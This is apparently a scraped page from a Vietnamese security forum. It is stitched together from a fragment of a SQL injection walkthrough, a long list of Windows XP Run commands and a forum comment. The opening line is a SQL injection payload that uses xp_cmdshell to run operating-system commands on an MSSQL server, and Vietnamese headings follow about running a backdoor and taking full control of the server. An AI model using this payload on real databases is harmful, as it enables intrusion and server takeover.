;drop table testip create table testip(stt int identity,dcip
varchar(1000)) insert into testip exec master..xp_cmdshell 'dir
runfile.txt'--

C. Chạy backdoor trên server
1. Xác nhận backdoor đã được kích hoạt

2. Chiếm toàn bộ quyền điều khiển server
100 Windows XP RUN COMMANDS

Vào StartMenu>RUN> "Command "


Accessibility Controls
access.cpl

Add Hardware Wizard
hdwwiz.cpl

Add/Remove Programs
appwiz.cpl

Administrative Tools
control admintools

Automatic Updates
wuaucpl.cpl

Bluetooth Transfer Wizard
fsquirt

Calculator
calc

Certificate Manager
certmgr.msc

Character Map
charmap

Check Disk Utility
chkdsk

Clipboard Viewer
clipbrd

Command Prompt
cmd

Component Services
dcomcnfg

Computer Management
compmgmt.msc

Date and Time Properties
timedate.cpl

DDE Shares
ddeshare

Device Manager
devmgmt.msc

Direct X Control Panel (If Installed)*
directx.cpl

Direct X Troubleshooter
dxdiag

Disk Cleanup Utility
cleanmgr

Disk Defragment
dfrg.msc

Disk Management
diskmgmt.msc

Disk Partition Manager
diskpart

Display Properties
control desktop

Display Properties
desk.cpl

Display Properties (w/Appearance Tab Preselected)
control color

Dr. Watson System Troubleshooting Utility
drwtsn32

Driver Verifier Utility
verifier

Event Viewer
eventvwr.msc

File Signature Verification Tool
sigverif

Findfast
findfast.cpl

Folders Properties
control folders

Fonts
control fonts

Fonts Folder
fonts

Free Cell Card Game
freecell

Game Controllers
joy.cpl

Group Policy Editor (XP Prof)
gpedit.msc

Hearts Card Game
mshearts

Iexpress Wizard
iexpress

Indexing Service
ciadv.msc

Internet Properties
inetcpl.cpl


IP Configuration (Display Connection Configuration)
ipconfig /all

IP Configuration (Display DNS Cache Contents)
ipconfig /displaydns

IP Configuration (Delete DNS Cache Contents)
ipconfig /flushdns

IP Configuration (Release All Connections)
ipconfig /release

IP Configuration (Renew All Connections)
ipconfig /renew

IP Configuration (Refreshes DHCP & Re-Registers DNS)
ipconfig /registerdns

IP Configuration (Display DHCP Class ID)
ipconfig /showclassid

IP Configuration (Modifies DHCP Class ID)
ipconfig /setclassid


ava Control Panel (If Installed)
jpicpl32.cpl

Java Control Panel (If Installed)
javaws

Keyboard Properties
control keyboard

Local Security Settings
secpol.msc

Local Users and Groups
lusrmgr.msc

Logs You Out Of Windows
logoff

Microsoft Chat
winchat

Minesweeper Game
winmine

Mouse Properties
control mouse

Mouse Properties
main.cpl

Network Connections
control netconnections

Network Connections
ncpa.cpl

Network Setup Wizard
netsetup.cpl

Notepad
notepad

Nview Desktop Manager (If Installed)
nvtuicpl.cpl

Object Packager
packager

ODBC Data Source Administrator
odbccp32.cpl

On Screen Keyboard
osk

Opens AC3 Filter (If Installed)
ac3filter.cpl

Password Properties
password.cpl

Performance Monitor
perfmon.msc

Performance Monitor
perfmon

Phone and Modem Options
telephon.cpl

Power Configuration
powercfg.cpl

Printers and Faxes
control printers

Printers Folder
printers

Private Character Editor
eudcedit

Quicktime (If Installed)
QuickTime.cpl

Regional Settings
intl.cpl

Registry Editor
regedit

Registry Editor
regedit32

Remote Desktop
mstsc

Removable Storage
ntmsmgr.msc

Removable Storage Operator Requests
ntmsoprq.msc

Resultant Set of Policy (XP Prof)
rsop.msc

Scanners and Cameras
sticpl.cpl

Scheduled Tasks
control schedtasks

Security Center
wscui.cpl

Services
services.msc

Shared Folders
fsmgmt.msc

Shuts Down Windows
shutdown

Sounds and Audio
mmsys.cpl

Spider Solitare Card Game
spider

SQL Client Configuration
cliconfg

System Configuration Editor
sysedit

System Configuration Utility
msconfig

System File Checker Utility (Scan Immediately)
sfc /scannow

System File Checker Utility (Scan Once At Next Boot)
sfc /scanonce

System File Checker Utility (Scan On Every Boot)
sfc /scanboot

System File Checker Utility (Return to Default Setting)
sfc /revert

System File Checker Utility (Purge File Cache)
sfc /purgecache

System File Checker Utility (Set Cache Size to size x)
sfc /cachesize=x

System Properties
sysdm.cpl

Task Manager
taskmgr

Telnet Client
telnet

User Account Management
nusrmgr.cpl

Utility Manager
utilman

Windows Firewall
firewall.cpl

Windows Magnifier
magnify

Windows Management Infrastructure
wmimgmt.msc

Windows System Security Tool
syskey

Windows Update Launches
wupdmgr

Windows XP Tour Wizard
tourstart
Nếu như bình đẳng hết vậy thì ai đứng ra quản lý bài viết đây.
 
Go to Page:  First Page Page 7 8 9 10

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|